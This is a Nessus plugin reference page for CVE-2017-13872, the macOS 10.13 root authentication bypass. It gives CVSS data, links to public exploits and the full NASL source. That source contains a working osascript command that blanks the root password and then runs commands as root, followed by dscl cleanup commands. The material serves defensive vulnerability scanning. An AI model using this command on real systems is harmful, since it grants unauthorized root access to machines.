macOS 10.13 root Authentication Bypass Direct Check - Nessus

High   Plugin ID: 104848

This page contains detailed information about the macOS 10.13 root Authentication Bypass Direct Check Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 104848
Name: macOS 10.13 root Authentication Bypass Direct Check
Filename: macos_10_13_root_auth_bypass_direct_check.nasl
Vulnerability Published: 2017-11-28
This Plugin Published: 2017-11-29
Last Modification Time: 2019-11-12
Plugin Version: 1.9
Plugin Type: local
Plugin Family: MacOS X Local Security Checks
Dependencies: ssh_get_info.nasl
Required KB Items [?]: Host/local_checks_enabled, Host/MacOSX/Version

Vulnerability Information


Severity: High
Vulnerability Published: 2017-11-28
Patch Published: N/A
CVE [?]: CVE-2017-13872
CPE [?]: cpe:/o:apple:macos, cpe:/o:apple:mac_os_x
In the News: True

Synopsis

The remote host is running a version of macOS that is affected by a root authentication bypass vulnerability.

Description

The remote host is running a version of macOS that has a root authentication bypass vulnerability. A local attacker or a remote attacker with credentials for a standard user account has the ability to blank out the root account password. This can allow an attacker to escalate privileges to root and execute commands and read files as a system administrator.

Solution

Enable the root account and set a strong root account password.

Public Exploits


Target Network Port(s): N/A
Target Asset(s): N/A
Exploit Available: True (Metasploit Framework, GitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the macOS 10.13 root Authentication Bypass Direct Check vulnerability:

  1. Metasploit: exploit/osx/local/root_no_password
    [Mac OS X Root Privilege Escalation]
  2. Metasploit: auxiliary/scanner/vnc/ard_root_pw
    [Apple Remote Desktop Root Vulnerability]
  3. GitHub: https://github.com/TH3-HUNT3R/Root-MacOS
    [CVE-2017-13872]
  4. GitHub: https://github.com/axelvf/tools-highsierraroot
    [CVE-2017-13872]
  5. GitHub: https://github.com/giovannidispoto/CVE-2017-13872-Patch
    [CVE-2017-13872]
  6. GitHub: https://github.com/swisskyrepo/WHID_Toolkit
    [CVE-2017-13872]
  7. GitHub: https://github.com/thehappydinoa/rootOS
    [CVE-2017-13872]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2017-13872
CVSS V2 Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:9.3 (High)
Impact Subscore:10.0
Exploitability Subscore:8.6
CVSS Temporal Score:7.7 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.7 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:8.1 (High)
Impact Subscore:5.9
Exploitability Subscore:2.2
CVSS Temporal Score:7.5 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.5 (High)

Go back to menu.

Plugin Source


This is the macos_10_13_root_auth_bypass_direct_check.nasl nessus plugin source code. This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.

#TRUSTED 0d435aaf02cc3ea2d717873b31245a1c31f19b61123597be862e90ffb2ada3faed09a8b86d6eaeb3ac5130cd4daff1d4a2643970e27ac172188a97f3bc4c8bbeb4d90a4c48dd90f1c3326c75561b0320ad82dbee3507d8aa80b32aa5c08c5853856b75de7f5f708c44d43b4c773602e01b528172b1ef49dcbe08e08aab83f0e7a6a592833452cdc85203854232de75ba8e0a248303ddeea2eefb0db0efcc080240887dce009b16d7010ee4429f1be4140aaed37b21b5b17d61eab36adc35cfd1baf589df45b47e3db210405d36db2c8bcf3303e0961c132332aa62742a528ea712b15f09b517864df6ff4472fbaf7d27f9147faf2f6c10f7e586449d199e636c69320bf2facad41e4be9c638ce52cf28ad6df8dac66f9430d89f1475e27aac488f86fb887e963839ef5ed4a82446fb08cc0927594a939657c282f8bb2236baa110d3bf2c7e34ff246be3d06be992d8186329e6044a7e7f29db19c291b552e97e2d4b7d5b4692b3612845436eb5eb291e790f6d129a340f9d117cb382a5bf36c9f873e54c4ce6cf2072bb4cc948069922e3bd948defc660baaf44a73959ecaae973effeb02ebe1a62033a50771103246f368785adc5a61e96cded65e27bcc61c7992351f00f6dd3607932c2a3abcf13a4545dee80a5faf3f8067cd398be83b60a85a2de3a2de0465a4b64b5382c2e4e7e11198b019bd25b95de7218b74927f6e9
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(104848);
  script_version("1.9");
  script_cvs_date("Date: 2019/11/12");

  script_cve_id("CVE-2017-13872");
  script_bugtraq_id(101981);

  script_name(english:"macOS 10.13 root Authentication Bypass Direct Check");
  script_summary(english:"Checks if the root password can be blanked out.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is running a version of macOS that is affected by a
root authentication bypass vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host is running a version of macOS that has a root
authentication bypass vulnerability. A local attacker or a remote
attacker with credentials for a standard user account has the ability
to blank out the root account password. This can allow an attacker to
escalate privileges to root and execute commands and read files as a
system administrator.");
  script_set_attribute(attribute:"see_also", value:"https://support.apple.com/en-us/HT208315");
  # https://objective-see.com/blog/blog_0x24.html
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?2cf4b55a");
  # https://twitter.com/lemiorhan/status/935578694541770752
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9ff9ff45");
  # https://www.theregister.co.uk/2017/11/28/root_access_bypass_macos_high_sierra/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?1e5890f3");
  # https://www.theverge.com/2017/11/28/16711782/apple-macos-high-sierra-critical-password-security-flaw
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f367aab4");
  # https://support.apple.com/en-us/HT204012
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f9f9bbc3");
  script_set_attribute(attribute:"solution", value:
"Enable the root account and set a strong root account password.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2017-13872");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Mac OS X Root Privilege Escalation');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"in_the_news", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2017/11/28");
  script_set_attribute(attribute:"plugin_publication_date", value:"2017/11/29");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:apple:mac_os_x");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:apple:macos");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"MacOS X Local Security Checks");

  script_copyright(english:"This script is Copyright (C) 2017-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssh_get_info.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/MacOSX/Version");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("ssh_func.inc");
include("macosx_func.inc");

if(sshlib::get_support_level() >= sshlib::SSH_LIB_SUPPORTS_COMMANDS)
  enable_ssh_wrappers();
else disable_ssh_wrappers();

if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);

os = get_kb_item("Host/MacOSX/Version");
if (!os) audit(AUDIT_OS_NOT, "macOS");
if (os !~ "Mac OS X 10\.13([^0-9]|$)") audit(AUDIT_OS_NOT, "macOS 10.13");

# check we're not root first
results = exec_cmd(cmd:"id");
if ("uid=0(root)" >< results)
  audit(AUDIT_HOST_NOT, "affected");

id_cmd = '/usr/bin/osascript -e \'do shell script "id" user name "root" password "" with administrator privileges\'';
results = exec_cmd(cmd:id_cmd);
# if we're vuln, the first time blanks the password, second time runs id
results = exec_cmd(cmd:id_cmd);

if ("uid=0(root)" >!< results)
{
  # not vuln
  audit(AUDIT_HOST_NOT, "vulnerable either because a root password is set or the vulnerability has been patched");
}

# if we are vulnerable we need to do some cleanup to
# set the system state back to pre-exploit
# this disables the root account and resets
# the password back to not blank
cmd = '/usr/bin/osascript -e \'do shell script "dscl . -create /Users/root passwd \'\\*\'" user name "root" password "" with administrator privileges\'';
exec_cmd(cmd:cmd);
cmd = '/usr/bin/osascript -e \'do shell script "dscl . -delete /Users/root authentication_authority" user name "root" password "" with administrator privileges\'';
exec_cmd(cmd:cmd);
cmd = '/usr/bin/osascript -e \'do shell script "dscl . -delete /Users/root ShadowHashData" user name "root" password "" with administrator privileges\'';
exec_cmd(cmd:cmd);

report = '  Nessus was able to execute commands as root by\n' +
         '  first blanking the root account password and then\n' +
         '  running "id" by using this command twice:\n' +
         '\n' +
         '  ' + id_cmd + '\n' +
         '\n' +
         '  which produced the following output:\n' +
         '\n' +
         '  ' + results + '\n';

security_report_v4(port:0, severity:SECURITY_HOLE, extra:report);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/macos_10_13_root_auth_bypass_direct_check.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\macos_10_13_root_auth_bypass_direct_check.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/macos_10_13_root_auth_bypass_direct_check.nasl

Go back to menu.

How to Run


Here is how to run the macOS 10.13 root Authentication Bypass Direct Check as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select MacOS X Local Security Checks plugin family.
  6. On the right side table select macOS 10.13 root Authentication Bypass Direct Check plugin ID 104848.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl macos_10_13_root_auth_bypass_direct_check.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a macos_10_13_root_auth_bypass_direct_check.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - macos_10_13_root_auth_bypass_direct_check.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state macos_10_13_root_auth_bypass_direct_check.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 105080 - macOS 10.13.x < 10.13.2 Multiple Vulnerabilities (Meltdown)
  • 105003 - macOS 10.13 Authentication Bypass Remote Check (CVE-2017-13872)
  • 104814 - MacOS 10.13 root Authentication Bypass (Security Update 2017-001)
  • 105081 - macOS and Mac OS X Multiple Vulnerabilities (Security Update 2017-002 and 2017-005)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file macos_10_13_root_auth_bypass_direct_check.nasl version 1.9. For more plugins, visit the Nessus Plugin Library.

Go back to menu.